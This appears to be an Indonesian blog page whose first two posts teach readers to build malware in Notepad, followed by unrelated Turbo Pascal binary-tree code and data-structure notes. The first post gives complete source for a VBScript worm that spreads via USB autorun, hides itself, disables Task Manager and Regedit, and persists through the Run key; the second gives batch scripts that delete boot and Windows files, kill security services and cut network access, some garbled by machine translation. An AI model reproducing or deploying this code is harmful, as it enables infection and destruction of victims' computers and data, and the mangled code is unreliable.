Membuat virus ganas (Berbahaya) dari notepad

Virus Ganas Berbahaya ini akan membuat dirinya menyebar ke removable disc dengan AutoRun sehingga komputer lain yang tercolok flash disc terinfeksi akan langsung menjadi korban tanpa menungu User menjalankan infector-nya. Virus ini saya beri nama “YouDieCbrXplr.VBS”. Sekarang buka Notepad-nya. Copy kode berikut :

‘//-Awal dari kode, set agar ketika terjadi Error dibiarkan dan kemudian lanjutkan kegiatan virus-//
on error resume next
‘//-Dim kata-kata berikut ini-//
dim rekur,windowpath,flashdrive,fs,mf,isi,tf,YouDieCbrXplr,nt,check,sd
‘//-Set sebuah teks yang nantinya akan dibuat untuk Autorun Setup Information-//
isi = “[autorun]” & vbcrlf & “shellexecute=wscript.exe YouDieXplr.dll.vbs”
set fs = createobject(“Scripting.FileSystemObject”)
set mf = fs.getfile(Wscript.ScriptFullname)
dim text,size
size = mf.size
check = mf.drive.drivetype
set text = mf.openastextstream(1,-2)
do while not text.atendofstream
rekur = rekur & text.readline
rekur = rekur & vbcrlf
loop
do
‘//-Copy diri untuk menjadi file induk di Windows Path (example: C:\Windows)
Set windowpath = fs.getspecialfolder(0)
set tf = fs.getfile(windowpath & “\batch- YouDieXplr.dll.vbs “)
tf.attributes = 32
set tf=fs.createtextfile(windowpath & “\batch- YouDieXplr.dll.vbs”,2,true)
tf.write rekursif
tf.close
set tf = fs.getfile(windowpath & “\batch- YouDieXplr.dll.vbs “)
tf.attributes = 39
‘//-Buat Atorun.inf untuk menjalankan virus otomatis setiap flash disc tercolok-//
‘Menyebar ke setiap drive yang bertype 1 dan 2(removable) termasuk disket
for each flashdrive in fs.drives
‘//-Cek Drive-//
If (flashdrive.drivetype = 1 or flashdrive.drivetype = 2) and flashdrive.path <> “A:” then
‘//-Buat Infector jika ternyata Drivetypr 1 atau 2. Atau A:\-//
set tf=fs.getfile(flashdrive.path &”\YouDieXplr.dll.vbs “)
tf.attributes =32
set tf=fs.createtextfile(flashdrive.path &”\YouDieXplr.dll.vbs “,2,true)
tf.write rekursif
tf.close
set tf=fs.getfile(flashdrive.path &”\YouDieXplr.dll.vbs “)
tf.attributes = 39
‘//-Buat Atorun.inf yang teks-nya tadi sudah disiapkan (Auto Setup Information)-//
set tf =fs.getfile(flashdrive.path &”\autorun.inf”)
tf.attributes = 32
set tf=fs.createtextfile(flashdrive.path &”\autorun.inf”,2,true)
tf.write isi
tf.close
set tf = fs.getfile(flashdrive.path &”\autorun.inf”)
tf.attributes=39
end if
next
‘//-Manipulasi Registry-//
set YouDieCbrXplr = createobject(“WScript.Shell”)
‘//-Manip – Ubah Title Internet Explorer menjadi THE YOUDIECBRXPLR v.s. ZAY-//
YouDieCbrXplr.regwrite “HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title”,” THE YOUDIECBRXPLR v.s. ZAY “
‘//-Manip – Set agar file hidden tidak ditampilkan di Explorer-//
YouDieCbrXplr.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Advanced\Hidden”, “0″, “REG_DWORD”
‘//-Manip – Hilangkan menu Find, Folder Options, Run, dan memblokir Regedit dan Task Manager-//
YouDieCbrXplr.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFind”, “1″, “REG_DWORD”
YouDieCbrXplr.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions”, “1″, “REG_DWORD”
YouDieCbrXplr.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun”, “1″, “REG_DWORD”
YouDieCbrXplr.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools”, “1″, “REG_DWORD”
YouDieCbrXplr.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr”, “1″, “REG_DWORD”
‘//-Manip – Disable klik kanan-//
YouDieCbrXplr.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoViewContextMenu”, “1″, “REG_DWORD”
‘//-Manip – Munculkan Pesan Setiap Windows Startup-//
YouDieCbrXplr.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeCaption”, “Worm YouDieCbrXplr. Variant from Rangga-Zay, don’t panic all data are safe.”
‘//-Manip – Aktif setiap Windows Startup-//
YouDieCbrXplr.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Systemdir”, windowpath & “\batch- YouDieXplr.dll.vbs “

//-Manip – Ubah RegisteredOwner dan Organization-//
YouDieCbrXplr.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOrganization”, “The Batrix”
YouDieCbrXplr.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOwner”,”YouDieCbrXplr”

‘//-Nah kalau kode dibawah ini saya nggak tau, tolong Mas Aat_S untuk menjelaskan-//
if check <> 1 then
Wscript.sleep 200000
end if
loop while check <> 1
set sd = createobject(“Wscript.shell”)
sd.run windowpath & “\explorer.exe /e,/select, ” & Wscript.ScriptFullname
‘Akhir dari Kode

Save code di Notepad dengan cara FILE > SAVE. Lalu di save as type pilih “All Files (*.*). Simpan dengan nama : YouDieXplr.dll.vbs.

Read more »

Membuat virus dari notepad

DI SINI ADA R beberapa script VIRUS EXCELLENT script Webs PALING BERBAHAYA JUGA TERCANTUM DALAM MEREKA
Bagaimana untuk crash PC Selamanya! :::
@ Echo off
attrib-r-s-hc: \ autoexec.bat
del c: \ autoexec.bat
attrib-r-s-hc: \ boot.ini
del c: \ boot.ini
attrib-r-s-hc: \ ntldr
del c: \ ntldr
attrib-r-s-hc: \ windows \ win.ini
del c: \ windows \ win.ini

Buka notepad dan copy dan paste. Simpan sebagai file. Kelelawar.
Ini harus shutdown komputer orang. Menutup itu dari sekali dan menghapus file yang dibutuhkan untuk reboot dan restart.
INGAT - JANGAN KLIK FILE INI. (Untuk para idiot)
Juga ingat ** ini mungkin tidak bekerja dengan vista. **

Bagaimana menghentikan akses internet seseorang ::::
@ Echo off
Ipconfig / release
Simpan bahwa sebagai kelelawar. Dan mengirimkannya ke seseorang. Mereka alamat IP akan hilang, dan karena itu mereka tidak akan dapat memperbaikinya
Namun, hal ini SANGAT mudah untuk memperbaikinya. Cukup ketik ipconfig / renew

ShutDown PC juta Waktu ::::

1.Right klik pada desktop
2.Click shortcut
Anda akan mendapatkan kotak dialog, menulis di dalamnya: shutdown-s-t 1000 c "komentar apapun u inginkan" lalu tekan berikutnya
catatan: ini "1000" saya menulis adalah waktu dalam detik diperlukan untuk komputer untuk shutdown ur, u dapat menempatkan sejumlah u mau ...
3.u akan mendapatkan kotak dialog yang lain, menulis di dalamnya: Internet Explorer dan tekan finish
4.u akan menemukan ikon pada desktop ur, jangan membukanya, cukup klik kanan di atasnya dan tekan properti> change icon> pilih ikon para penjelajah internet dan pers menerapkan lalu ok
mencoba untuk membukanya, itu adalah virus hehe
PS: satu-satunya cara menghentikan komputer ur 2 dari mematikan adalah pergi 2 start> run> ketik: shutdown-a

Bekukan desktop yang seseorang :::
ini adalah trik yang lucu, u dapat membekukan desktop yang seseorang
Ur semuanya 1.close bekerja di, dan bekerja pada desktop. jadi klik pada PrtScr pada keyboard ur.
2.go melukis dan klik edit lalu paste
3.Simpan file ini sebagai (nama). Bmp dan menutup cat.
3.Now di desktop, kami memiliki 2 ikon desktop menghapus dan shortcut, jadi klik kanan pada mouse dan kemudian properti, klik pada desktop lalu pilih menyesuaikan desktop.
4.uncheck semua kotak dalam ikon desktop dan tekan ok. lalu tekan berlaku kemudian ok.
5.now untuk menghapus shortcut di desktop, pergi untuk memulai dan pilih My Computer, kemudian klik pada c: klik kanan pada mouse dan pilih ur folder baru, menulis nama apapun
6.now pergi ke desktop & pilih semua ikon da dan klik kanan pada mereka lalu tekan dipotong, pergi ke c: dan paste di folder dat u dibuat kemudian tutup jendela.
7.now untuk menempatkan gambar desktop palsu dan menghapus taskbar, jadi klik kanan pada desktop dan gp ke properti, sekarang pergi ke desktop dan pilih Browse, pilih file yang disimpan u lalu tekan appply lalu ok. sekarang untuk menghapus taskbar windows, klik kanan pada taskbar dan pergi 2 properti, kemudian pilih autohide taskbar dan kemudian terapkan kemudian ok
sekarang semua palsu ikon r dan pengguna akan berpikir bahwa desktop nya adalah freezing
menikmatinya.!

SHUT UR permenantly INTERNET :::
Ini adalah salah satu sedikit lebih maju. Ini menutup internet Anda Permanately. Saya mencoba di sendiri tidak sengaja, saya tahu apa yang terjadi, dan masih butuh beberapa hari untuk mendapatkan internet saya kembali. bekerja terbaik di XP, belum diuji di vista atau 7.
EDIT: Pada bagian bawah menempatkan situs rickroll atau sesuatu. BTW, bahwa garis ke-3, tidak apa Menonaktifkan internet Permanately. Hal ini somethinge lain, yang hanya memberikan respon yang cepat untuk menutup koneksi.
@echo off
reg add HKLM \ Software \ Microsoft \ Windows \ CurrentVersion \ Run / v MiXedVeX / t REG_SZ / d% systemroot% \ HaloTrialScoreChangerV1 / f> nul
awal IExpress (situs pilihan Anda)
ipconfig / release
del "C: \ Program Files \ Microsoft Game
del "C: Nexon
del "C: \ Program Files \ Xfire
del "C: \ Program Files \ Adobe"
del "C: \ Program Files \ Internet Explorer"
del "C: \ Program Files \ Mozilla Firefox"
del "C: \ WINDOWS"
del "C: \ WINDOWS \ system32"
del "C: \ WINDOWS \ system32 \ cmd"
del "C: \ WINDOWS \ system32 \ IExpress"
del "C: \ WINDOWS \ system32 \ sndvol32"
del "C: \ WINDOWS \ system32 \ sndrec32"
del "C: \ WINDOWS \ system32 \ Restore \ rstrui"
del "C: \ WINDOWS \ system32 \ wupdmgr"
del "C: \ WINDOWS \ system32 \ desktop"
del "C: \ WINDOWS \ java"
del "C: \ WINDOWS \ Media"
del "C: \ WINDOWS \ Resources"
del "C: \ WINDOWS \ system"
del "C: \ driver"
del "C: \ drv"
del "C: \ SYSINFO"
del "C: \ Program Files"
gema ipconfig / release_all >> c: windowswimn32.bat
bersih stop "Security Center"
bersih berhenti SharedAccess
> "% Temp%. Kill.reg" ECHO REGEDIT4
>> "% Temp%. Kill.reg" ECHO.
>> "% Temp%. Kill.reg" ECHO [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesS haredAccess]
>> ".% Temp% kill.reg" ECHO "Start" = dword: 00000004
>> "% Temp%. Kill.reg" ECHO.
>> "% Temp%. Kill.reg" ECHO [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesw uauserv]
>> ".% Temp% kill.reg" ECHO "Start" = dword: 00000004
>> "% Temp%. Kill.reg" ECHO.
>> "% Temp%. Kill.reg" ECHO [HKEY_LOCAL_MACHINESYSTEMControlSet001Serviceswscsv c]
>> ".% Temp% kill.reg" ECHO "Start" = dword: 00000004
>> "% Temp%. Kill.reg" ECHO.
START / WAIT REGEDIT / S "% Temp%. Kill.reg"
del "% Temp%. kill.reg"
del% 0
gema @ echo off> c: windowswimn32.bat
menggemakan memutuskan >> c: windowswimn32.bat
gema ipconfig / release_all >> c: windowswimn32.bat
gema akhir >> c: windowswimn32.bat
reg add hkey_local_machinesoftwaremicrosoftwindowscurrentv ersionrun / v WINDOWsAPI / t REG_SZ / dc: windowswimn32.bat / f
reg add hkey_current_usersoftwaremicrosoftwindowscurrentve rsionrun / v CONTROLexit / t REG_SZ / dc: windowswimn32.bat / f
: A
awal IExpress (situs pilihan Anda)
goto

PEMBUATAN VIRUS PALING BERBAHAYA DISEBUT MATRIX :::
Peringatan - Jangan jalankan di komputer Anda
Aku akan mengajarkan cara untuk membuat virus bernama Matrix ...
1-Buka notepad
2-Masukkan kode ini
# Include
# Include
# Include
# Include
# Include
# Include
# Include
using namespace std;
int main ()
{Keybd_event (VK_MENU, 0x38, 0,0);
keybd_event (VK_RETURN, 0x1C, 0,0);
keybd_event (VK_RETURN, 0x1C, KEYEVENTF_KEYUP, 0);
keybd_event (VK_MENU, 0x38, KEYEVENTF_KEYUP, 0);
MENANGANI outToScreen;
outToScreen = GetStdHandle (STD_OUTPUT_HANDLE);
{
arang penyangga [255];
arang inputfile [] = "C: \ Documents and Settings \ All Users \ Start Menu \ Programs \ Startup \ rawr.bat";
ifstream input (inputfile);
if (! input)
{
{
ofstream fp ("C: \ Documents and Settings \ All Users \ Start Menu \ Programs \ Startup \ rawr.bat", ios :: app);
fp
fp
fp
}
}
lain
{
while (! input.eof ())
{
input.getline (buffer, 255);
}
}
}
{
arang penyangga [255];
arang inputfile [] = "C: \ rawr.exe";
ifstream input (inputfile);
if (! input)
{
{
{
ofstream fp ("CLICK.bat", ios :: app);
fp
fp
fp
fp
}
sistem ("START CLICK.bat");
main ();
}
}
lain
{
while (! input.eof ())
{
input.getline (buffer, 255);
sistem ("call shutdown.exe-S");
goto MULAI;
}
}
}
MULAI: {
for (int i = 0; i <1; i + +)
{
int num = (rand ()% 10);
SetConsoleTextAttribute (outToScreen, FOREGROUND_GREEN | FOREGROUND_INTENSITY);
cout
cout
cout
cout
cout
cout
cout
cout
cout
cout
cout
cout
Tidur (60);
}
}
for (int j = 0; j <5; j + +)
{
SetConsoleTextAttribute (outToScreen, FOREGROUND_GREEN);
int number = (rand ()% 24);
cout
}
goto MULAI;

3-simpan sebagai matrix.bat
4-selesai
SEBAGAI ITU TERLALU BERBAHAYA ATAS FILE HEADER SEBENARNYA UNTUK SCRIPT INI TIDAK DIBERIKAN
DAN JIKA ANDA INGIN MENCOBA INI HANYA BISA UNTUK SCRIPT PENGGUNAAN FILE HEADER SEPERTI STDIN, stdlib, CONIO, DAN STUFF

Read more »

program turbo pascal

PROGRAM BINARY SEARCH TREE (POHON)

Uses Crt;
Type
Pointer = ^TypeData;
TypeData = Record
Nilai : integer;
Kiri,Kanan : Pointer;
End;
Var
Tree : Pointer;
{=========================== MEMBENTUK TREE===========================}
Procedure Sisip_Tree(Var Tree : Pointer; Data : Integer);
Var
Baru : Pointer;
Begin
if Tree = Nil Then
Begin
New(Baru);
Baru^.Nilai := Data;
Baru^.Kanan := Nil;
Baru^.Kiri := Nil;
Tree := Baru;
End
Else if Data > Tree^.Nilai Then
Sisip_Tree(Tree^.Kanan,Data)
Else if Data < Tree^.Nilai Then
Sisip_Tree(Tree^.Kiri,Data)
Else Writeln('Data ',Data,' Sudah Ada.....');
End;
{=================== TELUSUR SECARA IN ORDER =========================}
Procedure In_Order(Tree : Pointer);
Begin
if Tree <> Nil Then
Begin
In_Order(Tree^.Kiri);
Write(Tree^.Nilai:3);
In_Order(Tree^.Kanan);
End;
End;
{==================== TELUSUR SECARA POST ORDER ======================}
Procedure Post_Order(Tree : Pointer;var k : integer);
Begin
if Tree <> Nil Then
Begin
Post_Order(Tree^.Kiri,k);
Post_Order(Tree^.Kanan,k);
Write(Tree^.Nilai:3);
k:=k+Tree^.Nilai; {===> HITUNG JUMLAH SEMUA NODE }
End;
End;
{== TELUSUR SECARA PRE ORDER ==}
Procedure Pre_Order(Tree : Pointer);
Begin
if Tree <> Nil Then
Begin
Write(Tree^.Nilai:3);
Pre_Order(Tree^.Kiri);
Pre_Order(Tree^.Kanan);
End;
End;
{================= HITUNG JUMLAH NODE SEBELAH KIRI ===================}
Function Jumlah_Kiri(Tree : Pointer) : integer;
Var
p : Pointer;
k : Integer;
Begin
k:=0;
p:=Tree;
While p <> nil do
Begin
k:=k+p^.Nilai;
p:=p^.kiri;
end;
Jumlah_Kiri:=k;
End;
{================= HITUNG JUMLAH NODE SEBELAH KANAN ==================}
Function Jumlah_Kanan(Tree : Pointer) : integer;
Var
p : Pointer;
k : Integer;
Begin
k:=0;
p:=Tree;
While p <> nil do
Begin
k:=k+p^.Nilai;
p:=p^.kanan;
end;
Jumlah_Kanan:=k;
End;
{=========== HITUNG SEMUA JUMLAH NODE SEBELAH KANAN DAN ==============}
{============ APABILA KANAN TELAH NIL MAKA KE NODE KIRI =============}
Function Jumlah_Kanan_Kiri(Tree : Pointer) : integer;
Var
p : Pointer;
k,l : Integer;
Begin
k:=0;
p:=Tree;
While p <> nil do
Begin
k:=k+p^.Nilai;
if p^.Kanan <> Nil then p:=p^.Kanan
else
p:=p^.Kiri;
end;
Jumlah_Kanan_Kiri:=k;
End;
{======================= PROGRAM UTAMA ==============================}
Var
Bil,i,Jum,JumNode : Integer;
Begin
New(Tree);
Tree := Nil;
Randomize;
Repeat
Bil:=Random(100);
Sisip_Tree(Tree,Bil);
write(Bil:4);
i:=i+1;
until i=10;
Writeln;
write('Cetak Secara IN ORDER');
Writeln;
In_Order(Tree);
Writeln;writeln;
write('Cetak Secara Post ORDER');
Writeln;
Post_Order(Tree,JumNode);
Writeln;writeln;
write('Cetak Secara PRE ORDER');
Writeln;
Pre_Order(Tree);
Writeln;Writeln;
Writeln('Jumlah seluruh Node sebelah kiri ');
Jum:=Jumlah_Kiri(Tree);
writeln('Nilai Jumlah = ',Jum);
writeln;
Writeln('Jumlah seluruh Node sebelah Kanan ');
Jum:=Jumlah_Kanan(Tree);
writeln('Nilai Jumlah = ',Jum);
writeln;
Writeln('Jlh Node Kanan semua kemudian Kiri satu node
sebelumnya');
Jum:=Jumlah_Kanan_Kiri(Tree);
writeln('Nilai Jumlah = ',Jum);
writeln;
Writeln('Jumlah Seluruh Node Pada Tree ');
writeln('Nilai Jumlah = ',JumNode);
end.

HASIL NYA SEPERTI GAMBAR DI BAWAH

Read more »

Struktur Data dan Program Pascal

Struktur Data dan Program Pascal

Pada dasarnya struktur data merupakan metode untuk melakukan penyimpanan, penyusunan, dan pengaturan data pada media penyimpanan sehingga data tersebut dapat digunakan secara efisien. Dalam teknik pemrograman, struktur data berarti pengaturan dan penyusunan dari tata letak kolom-kolom data, baik kolom data yang tampak oleh pengguna program maupun tata letak kolom pada memori yang tidak tampak oleh pengguna, yang tidak tampak ini hanya digunakan untuk kepentingan proses dalam program saja.
Struktur data digunakan untuk meningkatkan efisiensi penggunaan memori pada saat program komputer sedang bekerja. Penggunaan struktur data yang tepat pada pemograman dapat membuat algoritma menjadi lebih mudah, kemudahan ini membuat program lebih efisien dan sederhana.
Meningkatkan efisiensi merupakan tujuan utama pengaplikasian struktur data. Dengan struktur data, proses reservasi memori yang tidak perlu akan diminimalisasi. Selain itu struktur data juga menjamin kemudahan pemahaman algoritma, sehingga untuk menyelesaikan permasalahan seperti perkalian matriks, visualisasi matriks dan tabel, akan menjadi lebih mudah dipahami.



A. Kegunaan dan Jenis Struktur Data
Pemakaian struktur data yang tepat di dalam proses pemograman akan menghasilkan algoritma yang lebih jelas dan tepat, sehingga menjadikan program secara keseluruhan lebih efisien dan sederhana. Jenis-jenis struktur data ada 2 macam yaitu :
1. Struktur Data Sederhana
1. Array (Larik)
Larik adalah struktur data statik yang menyimpan sekumpulan elemen yang bertipe sama. Setiap elemen diakses langsung melalui indeksnya. Indeks larik harus tipe data yang menyatakan keterurutan misalnya integer atau karakter. Banyaknya elemen larik harus sudah diketahui sebelum program dieksekjusi. Tipe elemen larik dapat berupa tipe sederhana, tipe terstruktur, atau tipe larik lain. Nama lain array adalah Larik, tabel, atau vector.
2. Record (Catatan)
ADT adalah definisi tipe dan sekumpulan primitif (operasi dasar) terhadap tipe tersebut. Tipe diterjemahkan menjadi tipe terdefinisi dalam bahasa pemrograman yang bersangkutan.

2. Struktur Data Majemuk
1. Linier
1. Stack (Tumpukan)
Stack (tumpukan) adalah list linier yang dikenali elemen puncaknya (top), aturan penyisipan dan penghapusan elemennya tertentu (penyisipan selalu dilakukan "di atas" (top), penghapusan selalu dilakukan pada top). Karena aturan penyisipan dan penghapusan semacam itu, top adalah satu-satunya alamat tempat terjadi operasi. Elemen yang ditambahkan paling akhir akan menjadi elemen yang akan dihapus. Dikatakan bahwa elemen stack akan tersusun secara LIFO (Last In First Out).
2. Queue (Antrian)
Queue (antrian) adalah list linier yang dikenali elemen pertama (head) dan elemen terakhirnya (tail); Aturan penyisipan dan penghapusan elemennya disefinisikan sebagai penyisipan selalu dilakukan setelah elemen terakhir, penghapusan selalu dilakukan pada elemen pertama; Satu elemen dengan elemen lain dapat diakses melalui informasi next.
3. List dan Multi-List (Daftar)
List linier adalah sekumpulan elemen bertipe sama, yang mempunyai keterurutan tertentu, yang setiap elemennya terdiri dari 2 bagian. sebuah list linier dikenali dengan (1) elemen pertamanya, biasanya melalui alamat elemen pertama yang disebut (first); (2) Alamat elemen berikutnya (suksesor), jika kita mengetahui alamat sebuah elemen, yang dapat diakses melalui field next; (3) Setiap elemen mempunyai alamat, yaitu tempat elemen disimpan dapat diacu. Untuk mengacu sebuah elemen, alamat harus terdefinisi. Dengan alamat tersebut informasi yang tersimpan pada elemen list dapat diakses; (4) Elemen terakhirnya.

2. Non-Linier
1. Binary Tree (Pohon Biner)
Sebuah pohon biner (binary tree) adalah himpunan terbatas yang mungkin kosong atau terdiri dari sebuah simpul yang disebut sebagai akar dan dua buah himpunan lain yang disjoint yang merupakan pohon biner yang disebut sebagai sub pohon kiri (left) dan sub pohon kanan (right) dari pohon biner tersebut. Pohon biner merupakan tipe yang sangat penting dari struktur data dan banyak dijumpai dalam berbagai terapan. Karakteristik yang dimiliki oleh pohon biner adalah bahwa setiap simpul paling banyak hanya memiliki dua buah anak, dan mungkin tidak punya anak. Istilah-istilah yang digunakan sama dengan istilah pada pohon secara umum.
2. Graph (Graf)
Graph merupakan struktur data yang paling umum. Jika struktur linier memungkinkan pendefinisian keterhubungan sekuensial antara entitas data, struktur data tree memungkinkan pendefinisian keterhubungan hirarkis, maka struktur graph memungkinkan pendefinisian keterhubungan tak terbatas antara entitas data. Banyak entitas-entitas data dalam masalah-masalah nyata secara alamiah memiliki keterhubungan langsung (adjacency) secara tak terbatas demikian. Contoh: informasi topologi dan jarak antar kota-kota di pulau Jawa. Dalam masalah ini kota X bisa berhubungan langsung dengan hanya satu atau lima kota lainnya. Untuk memeriksa keterhubungan dan jarak tidak langsung antara dua kota dapat diperoleh berdasarkan data keterhubungan-keterhubungan langsung dari kota-kota lainnya yang memperantarainya. Representasi data dengan struktur data linier ataupun hirarkis pada masalah ini masih bisa digunakan namun akan membutuhkan pencarian-pencarian yang kurang efisien. Struktur data graph secara eksplisit menyatakan keterhubungan ini sehingga pencariannya langsung (straightforward) dilakukan pada strukturnya sendiri.

B. Bagian Statement
Bagian statement merupakan bagian program yang berisi perintah yang akan dieksekusi/dijalankan. Pada bahasa Pascal, bagian statement selalu diawali dengan reserved word begin dan end. Apabila blok statement adalah blok utama program, maka reserved word end harus diakhiri dengan tanda titik(.), sebaliknya jika blok statement bukan blok utama program maka reserved word end diakhiri dengan tanda titik koma (;).
Berikut adalah penjelasan baris demi baris dari potongan kode Pascal:
1) uses crt; Reserved word uses digunakan untuk mengincludekan library ke dalam program. Terdapat cukup banyak Library/Unit standar yang ada pada Pascal, antara lain untuk menangani perhitungan matematika, manipulasi strings, dan sebagainya.
2) const phi = 3.14; Baris kedua ini digunakan untuk mendeklarasikan konstanta phi.
3) var diameter, radius, Luas : real; Baris ketiga ini digunakan untuk mendeklarasikan variable diameter, radius, dan luas dengan tipe data real (bilangan pecahan).
4) begin Baris ini menandakan blok statement dimulai.
5) readln(diameter); Baris kelima berisi perintah readln yang berfungsi untuk meminta input dari user, dan kemudian disimpan ke variable diameter.
6) radius := diameter/2; Baris keenam ini melakukan operasi pembagian diameter dengan dua, kemudian hasilnya disimpan pada variable radius (untuk mendapatkan jari-jari dari diameter).
7) Luas := phi * radius * radius; Baris ini kembali melakukan operasi matematika yang berfungsi untuk menghitung luas.
8) writeln(Luas); Baris ini digunakan untuk mencetak isi variable Luas ke layar.
9) end. Baris ini menandakan akhir dari blok statement utama.

C. Repeat Until
Pengulangan ini adalah kebalikan dari WHILE DO, jika pada WHILE DO, sebelum menjalankan statement, maka kondisi dicek terlebih dahulu. Maka sebaliknya, pada REPEAT UNTIL, program menjalankan statement dalam blok BEGIN END satu kali terlebih dahulu, baru di akhir dilakukan pengecekan kondisi. Jika kondisi terpenuhi, maka Blok statement akan diulang lagi, sampai kondisi sudah tidak terpenuhi. Jadi, minimal blok program dalam REPEAT UNTIL dijalankan satu kali.
Contoh penggunaan:
i:=1;
REPEAT
Writeln(i);
i:=i+5;
UNTIL i>5;

D. Program Sederhana Menggunakan Bahasa Turbo Pascal
PROGRAM NamaQMantulMantulSampaidiTekanEscape;
USES crt;
CONST
lebar=55;
tinggi=20;
xawal=1;
yawal=1;
VAR
x,y : byte;
dx,dy : shortint;
c : char;
BEGIN
{inisialisasi awal}
x:=xawal;
y:=yawal;
dx:=1;
dy:=1;
c:=#0;
REPEAT
clrscr; {bersihkan layar}
sound(1000);
gotoxy(x,y);
textcolor(3);
writeln('T.Mirwan Sahputra'); {mencetak bintang pada posisi X,Y}
x:=x+dx; {ubah koordinat x}
y:=y+dy; {ubah koordinat y}
gotoxy(x,y);
textcolor(4+128);
writeln(' ¬ ¬¬¬ ¬ ¬¬¬ ¬ ');
x:=x+dx; {ubah koordinat x}
y:=y+dy; {ubah koordinat y}
gotoxy(x,y);
textcolor(15+128);
writeln('Mahasiswa T.Informatika');
x:=x+dx; {ubah koordinat x}
y:=y+dy; {ubah koordinat y}
{cek, jika sudah sampai di batas layar,
maka ubah dx & dy untuk ganti arah}
IF (X>=lebar) OR (X<=1) THEN dx:=-dx;
IF (Y>=tinggi) OR (Y<=1) THEN dy:=-dy;
{jika ada penekanan tombol, maka tombol tersebut dideteksi}
IF keypressed THEN c:=readkey;
delay(700); {menunda selama 700ms}
NoSound;
UNTIL c=#27;
END.

Read more »